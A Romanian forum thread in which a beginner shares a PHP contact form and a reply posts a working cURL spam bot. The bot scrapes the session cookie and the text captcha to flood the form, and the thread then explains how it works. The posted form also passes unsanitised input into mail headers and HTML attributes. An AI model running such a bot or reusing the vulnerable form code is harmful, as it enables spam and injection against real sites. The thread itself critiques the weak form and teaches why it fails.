PDA

Arată versiune īntreagă : Script Contact



GarryOne
19.10.2011, 12:41
Este un script facut in totalitate de mine.
Features:
1. Nu este vulnerabil XSS.
2. Are un mic captcha.
3. Are o masura de securitate contra spamerilor, care nu poti trimite mesaje la un interval mai mic de 20 secunde, sau puteti sa va puneti voi intervalul pe care-l doriti.
4. Are 2 filtre, cu care verifica daca toate campurile sunt corecte si daca in campul pentru e-mail exista caracterul "@".
5. Daca apasam pe buton si nu s-a trimis mesajul din cauza unei erori valorea introdusa in campuri ramane ci nu se reseteaza.
6. Arata frumos


Preview:
http://i.imgur.com/g85Ot.png

Source:

<style type="text/css">
.div_add {
width:450px;
height:500px;
background-image: url('http://i.imgur.com/heVLI.png');
}


input {
outline:none;
transition: all 0.25s ease-in-out;
-webkit-transition: all 0.25s ease-in-out;
-moz-transition: all 0.25s ease-in-out;
border-radius:3px;
-webkit-border-radius:3px;
-moz-border-radius:3px;
border:1px solid rgba(0,0,0, 0.2);
padding:5px;

}

input:focus {
box-shadow: 0 0 5px rgba(0, 0, 255, 1);
-webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
-moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
border:1px solid rgba(0,0,255, 0.8);
padding:7px;


}

.button {
background: url('http://i.imgur.com/gOA8h.png') no-repeat;
padding: 8 46 7 45;
}


.button:hover {
background: url('http://i.imgur.com/gOA8h.png') no-repeat;
}

br { clear: left; }

label {
display: block;
width: 150px;
float: left;
margin: 2px 4px 6px 4px;
text-align: right;
font-family:comic sans ms;
font-size:18px;
}
</style>
<center>
<br />
<div class="div_add">
<form action="" method="post" >
<br />
<?php
session_start();

$error = '';

if(!isset($_SESSION['captcha'])) {
$_SESSION['captcha'] = rand(1000,9999);
}

if(isset($_POST['submit'])) {

$_POST = array_map("trim", $_POST);
$_POST = array_map("strip_tags", $_POST);


if($_POST['captcha'] != $_SESSION['captcha'] ) {
$error .= 'Code captcha is incorrect. <br />';
}

if(empty($_POST['nume']) || empty($_POST['email']) || empty($_POST['subiect']) || empty($_POST['mesaj']) || empty($_POST['captcha'])) {
$error .= 'All fields are required. <br />';
}


if(!strstr($_POST['email'],'@')) {
$error .= 'E-mail is incorrect. <br />';
}

function sendmail() {
$to = 'account@webmaster.com';
$nume = $_POST['nume'];
$from = "From: " . $_POST['email']. "";
$subiect = $_POST['subiect'];
$mesaj = $_POST['mesaj'];
$body = 'E-mail de pe site, trimis de: '.$nume. "\n Adresa lui /ei de e-mail: ". $from. "\n\n" .'Mesaj: '.$mesaj;

if (@mail($to, $subiect, $body, $from)) {
echo 'Message has succsesfully sent <br />';
$_SESSION['limit_contact'] = time();
}else{
echo 'Error with server';
}
}


if(isset($_SESSION['limit_contact'])) {

if($_SESSION['limit_contact']>(time()-20)) {
$error .= 'Wait '.($_SESSION['limit_contact'] -time()+20).' seconds';
}else{
if($error == "")
sendmail();
}
}else{
$_SESSION['limit_contact'] = time();
if($error == "")
sendmail();
}

echo $error; # trebuie sa stergi punct si virgula,
}
?>


<br />
<label>Name:</label> <input type="text" name="nume" id="nume" size="30" maxlength="40" value="<?php if(isset($_POST['nume'])) { echo $_POST['nume'];} ?>" /><br /> <br />
<label>E-mail:</label> <input type="text" name="email" id="email" size="30" maxlength="58" value="<?php if(isset($_POST['nume'])) { echo $_POST['nume'];} ?>" /><br /> <br />
<label>Subject:</label> <input type="text" name="subiect" id="subiect" size="30" maxlength="70" value="<?php if(isset($_POST['nume'])) { echo $_POST['nume'];} ?>" /><br /> <br />
<label>Message:</label> <textarea name="mesaj" id="mesaj" cols="26" rows="6" ></textarea> <br />
<br />
<font size=3> Captcha code:<b> <?php echo $_SESSION['captcha'];?> &nbsp; </b></font>
<br />
<label>Captcha:</label> <input type="text" name="captcha" size="30" /> <br />

<br />
<input type="submit" class="button" name="submit" value="" /> <br />

</form>
</div>
</center>

socu
21.10.2011, 09:51
1. Putin probabil
2. Inutil
3. Inutila
4. Inutile
5. Nici vorba sa mearga, la toate ai pus $_POST['nume']
6. Codul nu arata frumos

Acest formular se poate sparge foarte usor. Trebuie sa editezi valoare pentru $url.


<?php
//editeaza url catre formular
$url = 'http://localhost/formular.php';

//seteaza campurile
$fields = array(
'nume' => 'Ion Hakaru',
'email' => 'email_valid@domeniu.tld',
'subiect' => 'Un mail spam',
'mesaj' => 'Continutul spamului ... ',
'captcha' => 'acest camp va fi setat automat dupa preluarea continutului',
'submit' => '',
);

//trimite spam
echo spam($url, $fields);


//trimite mesaj spam
function spam($url, $fields) {
//preia formularul
$c = get_form($url);
$session = get_session($c); //extrage sesiunea
$captcha = get_captcha($c); //extrage codul captcha din formular
//seteaza codul captcha
$fields['captcha'] = $captcha;
//parseaza campurile
foreach($fields as $key => &$field) {
$field = $key . '=' . urlencode($field);
}
$fields = implode('&', $fields);
//trimite mesajul spam
$c = send_form($url, $session, $fields);
//returneaza outputul de la formularul trimis
return $c;
}

//preia formularul
function get_form($url) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1");
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HEADER, true);
$content = curl_exec($curl);
curl_close ($curl);
return $content;
}

//trimite formularul impreuna cu valorile campurilor
function send_form($url, $session, $fields) {
$header = array();
$header[] = 'Accept:*/*';
$header[] = 'Content-Type: application/x-www-form-urlencoded';
$header[] = 'Cookie:' . $session;
$header[] = 'Pragma:';
$curl = curl_init();
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1");
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $fields);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
$content = curl_exec($curl);
curl_close($curl);
return $content;
}

//preia sessiunea
function get_session(&$c) {
if(preg_match('/PHPSESSID=(.*);/m', $c, $m)) {
return $m[0];
} else {
return NULL;
}
}

//preia codul captcha
function get_captcha(&$c) {
if(preg_match('/Captcha code:\<b\> ([0-9]{4}) &nbsp; \<\/b\>/m', $c, $m)) {
return $m[1];
} else {
return '';
}
}

?>


Oricum, are voie sa posteze asa ceva?

GarryOne
22.10.2011, 08:09
1. util
2. inutil, dar din cate am vazut in scriptul tau e exact la fel , deci si la tine inutil
3. util
4. util, dar se putea mai bine cu regex, dar e bine si asa, asta mi-a venit in minte atunci
5. Nu vorbi in zadar daca n-ai testat, uite la input-uri la value.
6. Eu am avut in vedere ca interfata arata frumos, dar si codul arata frumos

si 7. Sunt incepator

socu
22.10.2011, 15:35
2. inutil, dar din cate am vazut in scriptul tau e exact la fel , deci si la tine inutil
tu realizezi ca scriptul meu e facut sa sparga formularul tau?


5. Nu vorbi in zadar daca n-ai testat, uite la input-uri la value.

<label>Name:</label> <input type="text" name="nume" id="nume" size="30" maxlength="40" value="<?php if(isset($_POST['nume'])) { echo $_POST['nume'];} ?>" /><br /> <br />
<label>E-mail:</label> <input type="text" name="email" id="email" size="30" maxlength="58" value="<?php if(isset($_POST['nume'])) { echo $_POST['nume'];} ?>" /><br /> <br />
<label>Subject:</label> <input type="text" name="subiect" id="subiect" size="30" maxlength="70" value="<?php if(isset($_POST['nume'])) { echo $_POST['nume'];} ?>" /><br /> <br />
<label>Message:</label> <textarea name="mesaj" id="mesaj" cols="26" rows="6" ></textarea> <br />

Tu la fiecare camp pui valoare lui nume. Nici asta nu realizezi? Si asa apare in formular: toate campurile au valoarea lui nume.


6. Eu am avut in vedere ca interfata arata frumos, dar si codul arata frumos
Crede-ma ca nu e frumos codul.


si 7. Sunt incepator
Atunci te rog citeste tutoriale intai, nu scrie.

GarryOne
23.10.2011, 09:58
Si cum anume scriptul tau sparge forumular-ul meu.
Tutoriale am citit, stai fara grija.
Acolo ca am pus la fiecare input, $_POST['nume'] este pentru ca m-am incurcat, am scris la primul si am dat copy, dar am uitat sa modfiic la fiecare input.

susp3kt
23.10.2011, 10:46
Il sparge in sensul ca poate trimite foarte usor spam, iti acceseaza formularul tau prin curl si iti preia codul captcha (daca faceai ca codul captcha sa fie de tip imagine atunci era mai greu) si mai departe este usor..

GarryOne
23.10.2011, 11:41
mc susp3kt si bravo suco, frumos, dar trateaza-ma ca pe un incepator, cu toate ca scriptul nu e chiar proaspat. lasa-mi un id de messenger prin pm

GarryOne
23.10.2011, 11:44
mc susp3kt si bravo suco, frumos, dar trateaza-ma ca pe un incepator, cu toate ca scriptul nu e chiar proaspat. lasa-mi un id de messenger prin pm.
Si explica-mi te rog cum iei sessiunea mea cu PHPSESSID,

micku7zu
23.10.2011, 12:48
Daca vrei sa fi tratat ca un incepator, comportate ca un incepator!


Si explica-mi te rog cum iei sessiunea mea cu PHPSESSID,
Sesiunile sunt un fel de cookie doar ca sunt salvate pe server. (clientul nu are acces la ele).

Din cauza ca sesiunile sunt salvate pe server, serverul trebuie sa ii atribuie fiecarui client un id unic, si o face printr-un cookie numit PHPSESSID

Sa zicem ca tu vrei sa salvezi 2 sesiuni ( nume si prenume ).

Intra GIGI prima data pe pagina, serverul ii atribuie un PHPSESSID(adica seteaza cookie PHPSESSID=un_id_unic) si salveaza sesiunile.
Intra COSTEL prima data pe pagina, serverul ii atribuie un PHPSESSID si salveaza sesiunile.

Revine GIGI pe pagina, serverul vede ca este setat deja cookie-ul cu PHPSESSID si ii returneaza toate sesiunile salvate pe id-ul respectiv.
la fel si la COSTEL.

Cum se foloseste socu de acel PHPSESSID?

simplu, cand iti acceseaza pagina cu formularul, serverul ii returneaza continutul paginii si PHPSESSID-ul pe care a setat sesiunea.
Tu scrii codul captcha pe pagina, il copiaza de pe pagina (cel de pe pagina este si cel salvat in sesiune, deci nu are nevoie sa iti acceseze si valoarea sesiunii, nici nu poate)
si cand trimite formular (completand casutele cu ce are nevoie) adauga si cookie-ul PHPSESSID care i-a fost trimis inainte de server, si pe care este salvata sesiunea.

sper ca ai inteles ceva..

GarryOne
23.10.2011, 18:18
am inteles in mare parte dar mai am 2 intrebari.
Cum ma pot proteja ca sa nu-mi poata lua id-ul sessiunii ?
De captcha am inteles cum poate trece, dar cum poate trece de sessiunea contra spam care nu permite mai des de 20 secunde sa trimiti mesaj. Modifica intervalul sesiunii ? sau daca ia id-ul sesiunii cu ce-l ajuta ?

andrwshk
03.04.2012, 17:32
e un inceput.dar cu timpul,noi incepatorii o sa avansam=D